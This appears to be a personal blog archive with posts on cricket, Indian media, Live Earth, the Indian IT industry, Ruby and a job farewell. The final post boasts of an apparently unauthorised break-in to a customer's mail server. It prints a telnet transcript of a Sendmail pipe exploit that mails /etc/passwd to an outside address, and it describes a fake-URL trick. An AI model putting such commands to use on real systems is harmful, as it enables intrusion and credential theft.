Congratulation to Cricket

Congratulation!!! to Indian Cricket team, It was wonderful cricket match, finally India made history by winning the first ICC 20-20 world cup. Congrats!!! Dhoni, Yuvi and Team ; who finally lifted what was mammoth task for Indian cricketing oldies. We hope that they soon leave our team for youngsters.

Highlight of the match is arrival of Misbah-ul-Haq, He just threatened entire cricket loving nation with his ability.

Shame on "YOU"

I recently received another junk kind of forwarded mail. It's content as follows.

"Shame on Indian Media

By the time u read this news, the body of Major Manish Pitambare, who was shot dead at Anantnag, would have been cremated with full military honors.

On Tuesday all the news channels said: 'Sanjay Dutt relieved by court'. 'Sirf Munna not a bhai' '13 saal ka vanvaas khatam' 'although found guilty for possession of armory, Sanjay can breath sigh of relief as all the TADA charges against him are withdrawn' Personalities like Salman Khan said 'He is a good person. We knew he will come out clean'. Mr Big B said "Dutt's family and our family have relations for years he's a good kid. He is like elder brother to Abhishek". His sister Priya Dutt said "we can sleep well tonight. It's a great relief". The suspect in Mumbai bomb blasts, convicted under armory act...was being transformed into a hero.

But the news on BBC startled me. It said ,"Hisbul Mujahidin's most wanted terrorist 'Sohel Faisal' killed in Anantnag , India . Indian Major leading the operation lost his life in the process. Four others are injured.

Major Manish H Pitambare got the information from his sources about the terrorists' whereabouts. Wasting no time he attacked the camp, killed Hisbul Mujahidin's supremo and in the process lost his life to the bullets fired from an AK47. He is survived by a wife and daughter who's only 18 months old.

Major Manish never thought,'I have a daughter', before he took the decision to attack the terrorists in the darkest of nights. He never thought about having a family and he being the bread earner. No news channel covered this since they were too busy hyping a former drug addict, a suspect who's linked to bomb blasts which killed hundreds. Their aim was to show how he defied the TADA charges and they were so successful that his conviction in possession of armory had no meaning. They also concluded that his parents in heaven must be happy and proud of him.

Parents of Major Manish are still living and they have to live rest of their lives without their beloved son. His daughter won't ever see her daddy again.

Please forward this message around so that the media knows which news to give importance, as it is a shame for us since this Army Major's death news was given by a foreign TV channel!!!
"

I was not sure, if the content was true? But http://news.google.com/news?hl=en&ned=us&q=Major+Manish+Pitambare increased my quest, and http://www.hindu.com/2006/11/29/stories/2006112912840100.htm confirmed the sacrifice. As a matter of fact, Hindu is the only news paper covered the news, in India (source : google archive news search; also look at the date of the source).

I would like to join with everyone, who criticizes WHOLE INDIAN MEDIAS. It was the case even, when 1000's of people died in Gujarat, while most of the media's were behind the fashion show in 2001. It took few days for media to understand the scale of loss.

How many good TV programs are there for kids? Cinema, Cricket, Politics, Girls were the breath behind media. How many times they covered innovation made by farmers in India? Have they covered bright students and achievements made by them?

Why should they? After all they are running their business, and making hell a lot of money. Even housewives never realize that they are watching 10 mins of commercials, and 5 minutes of title song in 25 minutes of TV serial. We have to understand that corporate behind TV's and magazine's bother about the balance sheet, at the end of the year. They never bother what you need.

We always find fault with others. But, Can media survive without public support? Does media make money using the content doesn't require for common man? How many Indians stopped watching ODI cricket (if not test cricket)? How many Indians are spending time in sports and physical activities? At least replace all my Indians with "Educated Indians", again the answer would be the same, regardless of education, Indians are always Indians. (Me too :)).

I always try to argue against "Generalisation" theories, "Punjabis are healthier, Gujarati's are wealthier, Mallus are ..". When it comes to Indians, there are some commonalities. We may find exception, but they are like needle in skyscraper of haystack, in India.

What "YOU" did? "YOU" are the person of the year - "http://www.time.com/time/magazine/article/0,9171,1569514,00.html". Blogging is considered as new age media in western countries. They already debating about how simple video on youtube, may change the future political campaign in US. Considering Power of social network and its usage in marketing.

Did we utilize it? What we (IT professional) know is forwarding mails. Forward the junk/spam mail to keep in touch. Call someone and talk all our theories and let it fly immediately. Theories may be good and valuable, but it is flying in the air.

I am not here arguing that everyone has to jump into the blogging by tomorrow. Even it is not possible as still it is developing country; considering our per capita is 135th. We had habits of blaming others than blaming us. First we have to find what "I" can do, rather than whats wrong with others.

Truly, I stopped buying news papers in India for this reason; I subscribed economic times for stock market knowledge. Made it as a habit, to fight within family against watching TV serials.

Something-is-better-than-nothing, so I also appreciate few souls who bother, react somehow, and who forwards such a mails to others. But please make sure it is latest and if make sense to forward.

Blog about my blog

Many of my ex-colleagues are disappointed about my blog for the absence of technical content and topics in this blogs were mostly discussed by one way or other in arguments, few of my colleagues are kidding me to write blog about my funny experiences (even about my breakfast and lunch :), Always I am at the receiving end :-(, Sara help me da!!! )

Is it personnel diary? or junk thoughts? motivation? fun?, I am not sure... but you could expect anything in this blog, except hardcore technical stuffs. Suggestions are welcome.

I did not have any clarity of thought about what to write, but those who were expecting technical contents has to peep into http://easthub.wordpress.com/ (0 blogs as of now). Why easthub?, check-it up in blogs comments, someone who knows the truth will pull my leg.

In the last 3 months, I feel like, am in paid vacation :). It is right time for me to spend time with my mother, Next two months for me is eat, drink, and be merry. (Even I sold out my gadgets and laptops in India). I could hardly blog for next two months.

If I am not going to tie knot, You could expect technical stuff (or junk) from my tech Blog, but don't visit every second day (believe my friend was doing that), mostly it would be related to parsing, java, security and ruby. hopping to come up with something worth in every week.

Till then, Bye, Bye.

Heading back to India - Its time to rock for me

"When it rains, it pours" - I like this saying. Until now, applicable only during bad time.

Wow!!! first time it happened during my good time too, I got my mother's visa, We are travelling together :-) (my dream), hurting issue got resolved, I am in full control of sleep (reduced to 6 hrs), started winning office carrom champions during lunch time, went through my first time management book, and so on.

I am in shopping spree, last Sunday in Mustafa, I was shopping along with other 50+ Tamil film stars, Started feeling like an another star, since it was nearing midnight and running short of time, I could not observe any of them, but my friend was giving nice commentary about them, while I was enjoying my shopping in parallel.

Anyway, My dream has come true, Here I don't have much plan for my mother, But it is going to be new experience for her. She never travelled out of India. She always used to work in India like a workaholic and rarely missed her 9:30 PM TV serials :-), But here she is going to miss both of them. I want her to spend most of her time in Library (she was a book worm, but long back some how she stopped her reading habit, she used to read Tamil faster than me). Surprisingly my first gift to her is this trip to Singapore. She always pull my leg by saying that there is no sufficient place to keep her ornaments, whenever I pull her for shopping, she agreed that she pull my leg.

Here some of my friends are already waiting for Idlies and Chutnies (they are North Indians), even one of my friends mother is keen to meet my mother to know few South Indian recipe. It is going to be interesting since we don't use common language.

Hopefully, Next month by this time, I would have written more about other trips like Malaysia, Thailand. I prefer to go to Sydney, But my pockets are not so deep now. I also believe that this is just beginning for her.

Though I was able to squeeze just two days of leave to Chennai, Hoping to utilize it in best possible way. I may hardly find time to sleep there, though I would love to sleep at my home. My task list, "Meet my friends, go to movie, fight with everyone, buy books, meet the doctor, meet my old class mate,.."

Is that all? No :-), some more...

Answer the call? - LiveEarth

I initially thought that there is no meaning that me writing about Global Warming and LiveEarth. But I realized, effort of 150 singers in 5 continents did not reach everyone in this world, so this superman could lend some hands to them :).

Regardless of our location, Global Warming is real and it is affecting you and me. But what can I do as individual?

First visit Live Earth, which I don't like to copy paste here.

How it changed me?

Often my self and room mate will begin a argument like "Pamela Anderson vs Paris Hilton", But after 3 hrs, when I return to my room would realize that wastage of my time, but ignore about electric current and environmental issues caused by it. But me, the same dump guy blogs about it as a tips to you. When you are not using electric, electronics equipments (even if it is for a minute) please switch off them. It is not about saving money, but saving landfills, reducing CO2 emission and protecting our Live Earth.

Here at office, When our team breaks for tea and lunch, I loudly say "Live Earth" and switching off my monitors. My team mates smiles at me and think that useless crazy guy will bite us, if monitor is not switched off, so they turned it off (otherwise I will do it for them :) ). Hoping to continue this exercise for some more time.

I thank a friend (Sara) who gifted a big MUG (I also like the wordings in it), currently using it for my tea and water. And also took a pledge to use "as minimum paper" as possible. Searching for cheaper mugs to give it as a gift to my colleagues.

Note : Sorry about my poor communication (so poor today :( ), Just visit Live Earth and if it makes sense to you, then you can also contribute to save our earth.

Cooly Valley

Who is the most successful CEO in recent time, "STEVE JOBS", How many people are working for Apple in India. Does apple has any R&D labs in India? He is straight forward Guy. Apple may not require a support guys to support 100s of servers. Even if there is any, he may not call it as "R & D".

Every day there is a news about some R&D lab. "R&D centres in India", Let CEO's tell the truth that how many (real) R&D centres are in India, What are all the great innovations happened here in Indian IT Companies? (after all I was not recruited there, stomach burning :)). Is it a cooly valley? or new age Silicon Valley?

I suddenly changed my opinion, I can't keep on blame project managers and CEOs of Indian Software companies, If innovation is missing in India, it was not expected, so they force developers to follow some processes to do the repeated things. IT companies in India are doing their duties like maintaining others softwares. At least, Americans are not expecting us to innovate now (look into the comment section of Venkat's blog) , Worst thing even Indians are not dreaming about it. After all India has few IT Service company and few tiny product development companies. Hence Indian IT companies can't sustain the same growth in future.

When I attended an interview in a startup service company in Chennai, came across a following question, "What will you do, if you get an opportunity to work for Infosys after 6 months from now?". I said that I would not join and went on saying that, After all small checkpoint firewall company was making hell a lot of money than Infosys and their per employee revenue is 1000 times higher than Infosys and said Infy was not innovative. Interviewer stopped and thanked me, informed that he need a developer and not any dumb guy like me. I was so angry, but now I realize that he asked a question to a developer. First I have to do my duties first.

Why do I digress, If Indian IT is not innovative, developers are not innovative. No formal gathering and communication between think tanks. Most of the Guys requires IT pay and IT laziness and none is really ready to contribute from their heart & brain. In simple PASSION is missing. Passionate to learn new things, passionate to invent things are absent from developers. Developers are either very good or very bad, which is decided by his project and pressure and most of them are not self driven.

Guys are ready to hang around in PUBs, but not ready to contribute anything to OpenSource. If we are going to survey all the developers in Indian IT companies, the number of developers using IRC, NNTP would be less than 1%. How many successful open source projects are driven in India. Fresher will always has a question, ".Net vs Java", how many of them tried about "Ruby, Python, Eiffel". We are all ready to learn successful old things. Not ready to venture into new things.

I am not trying to prove that I am Buddha. Whatever above said is applicable to me. At least this is the perception I have about my own country developers. But still in belief that my passionation will drive me better in future (after my marriage :)). I used come across many developers saying the following things, "Manager doesn't care about me, Organisation is not allowing me to learn new things, Project is dumb one, Tech lead never allowed to change the code, From poor education background, Work to enjoy life and not to waste only in working, Am not a workaholic, Bus is late, After this Rajini movie, last beer before I begin that". Come on I am fed up... something has to happen, let us all come forward and do something to innovate. At least we learn for the sake of better next generation developers". After all, the whole software industry is based on "some lines of source code".

Now it is your turn to throw eggs on me :)

note : I did not include few bright guys who are exception. Because they are few in numbers and they don't have time to read my blog :).

Guests of our country

No way I could compare Indian High Commision office at Singapore with Indian Goverment offices at Chennai, They are so Agile and swift. We can get passport within 4 days and other documents within 24 hrs. When will it possible in India?

But there are many foreigners (including Indians) are waiting in Queue from morning 7:45AM till 9:00AM, And it became normal operations here. If someone take neccessary steps to host our future guests, It would even improve their perception about India. Minmum they could give prior appointment via Online for foreigners (I am ready to do the project, If opportunity is given, And free of cost if it is RailsOnRuby :) ).

Singapore.RB Meeting

Singapore Ruby Brigade Meeting at National Library was vibrant and useful. Rails enthusiast Choon Keat seems to be quite popular. Choon Keat explained how he forced a student to pick a Ruby book over .Net book. He contributed KRJS to Rails community. Anyway I need to learn RJS first.

But Sausheong really quenched my thirst by talking about FxRuby, which is not Rails thing. Hats off to him.

Library Manger Iven was very helpful, even he tried to understand how much the meeting was worth, finally he promised to create a process through which similar kinds of meeting can happen in libraries.

Now I know why Singapore (such a small country in this world) is 20th richest country. To arrange a similar meeting in Chennai, defnitely it would require Rs.25000 (550 USD). We had a big room enough for 50 people, which is fully air-conditioned with over head projector, wifi connections and everything was for free of cost. There should be people like Iven; ready to help to share knowledge and to encourage people to learn new things.

Farewell

It was my last day in 10th standard and taking up maths exam, I did not perform very well, even tied paper upside down cause of tension. Disappointed and came home very soon, without thinking that missing my friends. I did not even realize that I could have spent few hours with them being it was the last possible chance.

During my higher secondary, I was sure that I could not take more than 64 marks in Chemistry (But 70 needs to be taken to get pass mark), By God grace, Someone has stolen the chemistry question paper somewhere in Salem (Refer 1994 March/April news papers). Tamil Nadu Government made us to rewrite the exam. I did not sleep couple of nights and was preparing on and on and on..., During exam, when there were flying squad checking everyone's packet, I realized that am still keeping few papers, which was used during my morning preparation. I was pissed off, before they found me, I accepted my mistake to them.

Exactly 3 questions (30 marks) were matching with question paper and personnel test, But one of the squad made me to wait 15 minutes. My panic placed me in the next day newspaper for few minutes (thinking the worst possible) along with police :), But squads discussed quite long and allowed me to continue the exam. Even they asked invigilator to give me additional 5 minutes for the exam.

But my heart was pumping @200hp, and were not able to access few of my own flip flops (forgot many chemical equations). Later some how, after finishing the exam, I went home without meeting many of friends (they all went to watch Rajini Movie)

Never been to college, so don't know what is farewell during my education.

It was very painful while leaving Aspire and BharatPlanet, but did not come across much of emotions. Especially in Aspire, many of my team mates left before I did, in BP it was very small team.

But When I left Scope International on 13th April 2007 (Friday), I did not receive my relieving letter till the EOD of the day and on top of that I was planning to share some of my poor tomcat clustering knowledge, but at the end of the clustering session, everyone assembled there, I was in peek of my emotions, and knew that I am leaving the place where my efforts was well recognized and benefited for everyone.

When they asked me to comment about my experience, I said that it was my family and felt so sad for leaving them. I could not comment anything further...

Then everyone dropped a quote about me, though I not necessarily captured their exact words, I tried to recollect as much as possible, Those quotes may be very helpful when I am in need of moral support.

Super Boss - "A trustable resource and shared his knowledge with the rest of the team"
My Boss - Same as Super Boss and I missed what he mentioned extra.
Another Boss - Solved many important issues and he reminisced few of the successful moments of my previous projects. Also mentioned that team will be in challenge without me :-) (Too generous).

Another Upcoming Super Boss - We spoke lot (including technologies) about war, politics, India, economy.., I can able to understand how much team misses him as others worked quite longer than me.
Brother_1 - He was always there when we face an issue, we have taken granted to disturb him at any time.
Brother_2 - Apart from day-to-day solutions, he always thought about where could I fit in whole jigsaw puzzle and suggested me to align my career with organization. He used guide lot. Used care for me. ( I liked this comment )
Brother_3 - Tamil Poem, (To be released soon) - Got a beautiful Mug from him.
Neighborhood (Other teams boss) - This guy had a great energy even at 8:00 PM. Blah, Blah,..
...
Brother_7 - He born with silver spoon of knowledge (needless to say, there was a silver spoon as a gift)

Team gifted me a good watch ( I am yet to use it). Thanks for the gift.

Then I sincerely apologized for being rude many times, and felt disguised for being arrogant in giving my harsh comments. I again apologized for that.

By 8:00PM, I sent my good bye note (as usual with spelling mistakes), Few other guys were already started rushing to their place, where again had few more gifts (USB drive, few pens, etc.,)

Later we were all assembled by the nearest hotel for our dinner.

I would like to convey my gratitude!! to everyone who made the day as special one.

Yarru vetcha aaapu?

I was undergoing an induction program with my new employer, When everyone was selling them by one way other, I was explaining about my blogs and my worldcup cricket predictions to them, Some point in time I thought that they are impressed about my findings. Once I realized that they are showing much interest in cricket, I was explaining to them that why Australia dosen't have any chance to win this WorldCup.

They even tried to persuade me by explaining australian cricket team's marathon victories and Aus's NRR. I simply rejected and explained them using technical analysis without knowing that whom I am talking with. Since We all were working for bank, I took granted that they can understand technical analysis and theory like history repeating itself.

During the evening session, one of our faculty asked everyone to describe about themselves, A term came for me and next term went to Smart Gentleman, who was listening to my cricket predictions. He introduced and described about himself. He was working as a adviser to the trading team and gives suggestion based on his technical analysis using financial historical data. Best part is, he is joining our team from Australia :( ;<( ;( ...

Now my question is who has broken my nose? Aaapppu yarum vekaradhilla.. Nambalae poyee utkaradhu thaan :).

Why should we choose Phython over Ruby?

Dice.com returned 1032 Jobs for Python, But for Ruby it returned 446 Jobs. 231% More jobs in USA.

Naukri.com returned 175 Jobs for Python, But for Ruby it returned mere 75 Jobs. 129% More jobs in India.

But Java has got 16483 jobs in Dice, whereas Naukri shows just 5730 jobs for Java programmers. (Some Indian software company might outsourced those jobs to USA :) ), or Indian companies may find very few good struts programmer, who is sure that class.forName(String) will load JDBC driver (one and only task of class.forName()).

See you soon.

Why Python is better than Ruby by the margin of 13.9%?

I Googled for python number of result was => 58,500,000 results.

For Ruby Google was returning JUST => 42,300,000 results.

Do you believe me now?

Hey!!! Now people has trust in my technical analysis.

At least I have predicted that Pakistan and India will not move beyond super-8, Anyway I am not a bookie.

After India was defeated by Srilanka, We had a conversation like this.

Friend1: Still India had a chance to move to super-8.

Friend2: It is impossible, because Bermuda has to defeat Bangladesh, so Bermuda NRR will become higher than Bangladesh, but they have to accumulate lesser than India's NRR. Which is nearly Impossible.

Friend1: Yes it is possible, If you look at the past, always India was in such a difficult situation, but other teams has helped India to survive in the tournament. I know India was put up in a situation like "If Team-A wins and Team-B lost to Team-C and Team-C wins against A with NRR 6.0, and Team-A loses by 5 wicket, etc,.....". Still India came to final.

Friend3: Australians shows best performance in all the department (Fielding, Bowling, Batting), But India has a strong Bookies, So no way our Cricket Team is left out of world cup as of now, Bookies will play better than our players. We can trust them.

Friends: :) ;) :) ;) :) ;) :) ;) :) ;) :) ;)

My Cricket WorldCup 2007 Predictions

When CNN-IBN predicted that India has 80% chance to win the world cup. But as per my hunch and technical analysis India will not make more than super-8.

I know many will be jumping on me and concluding that I am not patriotic, but I believe in my analysis. After all India played just 2 finals out of 8 world cups, where as Australia played more than half of that. Even Australia will not win this cup.

Who will win, my hunch doesn't have clarity but it is someone from SriLanka, ZA, NZ and|or England.

I will write more about my analysis in detail during my next blog.

Note : Though I am writing this blog bit late, most of my colleagues know about my prediction even a week ago.

Its a mail (blog) distributed on Feb-14

None of you convinced that pipes(yahoo) will be used for smoking. At least try to smoke the following blah..blah.

I was not thrilled about the 0DD intiative taken during last year for couple of reasons.

1) When our team couldn't participate due to the rules, we didn't bother about it.

2) I love bugs for a unforgettable reasons. (long history should be interesting for you).

History...
My first task by my first employer was writing an IRC chat server. And we had deadline too, since we have to ship them to other biggest .COM company (3rd biggest .COM in India during 2000). Deadline came, we delivered the software on time with 100's of known issues and zero bugs (when we agree before customer finds it, we call them as known issue :)).

No body really exploited the issues what we development team knows about it, since chat was in earlier stage in Chennai, many people was not using, we hardly see 50 concurrent users. But as usual like any other software, chat server used to conk down often for unknown reasons. Later one of our developer started chatting with every other chatters as himself like an another chatter, later he identified that an Hungarian (born in Chennai), can control shutdown operation of the server using simple IRC protocol implementation bug. Whenever he thinks to shut-it-down, he does so. Since we were amateur programmers, we did not write enough log to know the actual chat transcript. None of us knows about sniffers. It took more than a month to identify the root cause of the first bug.

Meanwhile our CEO, himself was a good hacker, challenged us to know more about security, and we also lost the contract expected to our esteemed organization.

Since it was in beta stage, our customer changed to better IRC implementation. So we know the target which needs to be hacked (our customer server) to prove (CEO, .COM company) that we are much better than the current vendor.

---------------------------- Another thread begins -------------------------
Exactly during the same time, we came to know that RedHat was acquired by Microsoft, We confirmed from one of the page from http://www.microsoft.com@0292dx.............../redhat/secret/acquisition.html. Typical Microsoft home page information. I was using all the abusive language against Linus Torvalds who guided RedHat to do that. Google was helpless to find more information about the financial worth of the deal.

After couple of days, We came to know that the above link was not from Microsoft, it was the illusion created by X-Site scripting. We confirmed it by using Opera browser. I can't forget such graceful IE bug. Hats-off to William Gates . They are very innovative in creating bugs. Ask people who hacked Windows Vista using speech recognition control. You can just control a remote computer just by using analog phone. (No other digital system in this world can be hacked using just analog signals).

Because of their innovative bugs, they spot a place where they can sell advertisements space (Dr Watson Error Message and Blue screen). So bugs help them lot :). I was really motivated by the above bug, now we switched our context to .COM.
----------------------------Thread End----------------------------

We used to be 24*7*60 in our office, I spent all my time to secure my IRC server and whenever I felt tried, raised my war chest against .COM using a simple tool called telnet. Since we were working with IRC, it took no time to learn SMTP. We prepared a good documentation about all the services running in the .COM server, and the climax was .COM company was using Sendmail 5.xx.

Let me explain SMTP protocol to know, how We hacked it.

SMTP protocols are simple.

1. Make a network connection
2. Say Hello and the id used for outgoing mail 3. Say to target id, for which mail has to be send.
4. Type subject.
5. body of the message.
6. . (END)

Sendmail had a bug, unpatched Sendmail is vulnerable to execute UNIX commands. Using below approach we logged in as root user in the same box.

Every year, I just remember this lovable day and my valentine (COMPUTER). Life become so beautiful cause of bugs, Now just tell me, Does bugs are lovable?. Ask anyone who knows the meaning for "Hemiptera".

-------------------For SMTP Hacking-------------------

% telnet targetsmtpserver 25
Connected to targetsmtpserver
Escape character is '^]'.
220 targetsmtpserver Sendmail 5.55 ready at Mon, 12 Feb 00 23:51 mail from: "|/bin/mail me@mohan.com < /etc/passwd"
250 "|/bin/mail me@mohan.com < /etc/passwd"... Sender ok rcpt to: willam@ms.com 550 william... User unknown data
354 Enter mail, end with "." on a line by itself .
250 Mail accepted
quit
Connection closed by foreign host.
%


/etc/passwd - unix password file
Sendmail - Mail server.
0DD - zero defect delivery
--------------------------------------------------------

Note : I dedicate this blog to "Prabhu, Kannan, Gokul, Sara, Murali" for this valentine day.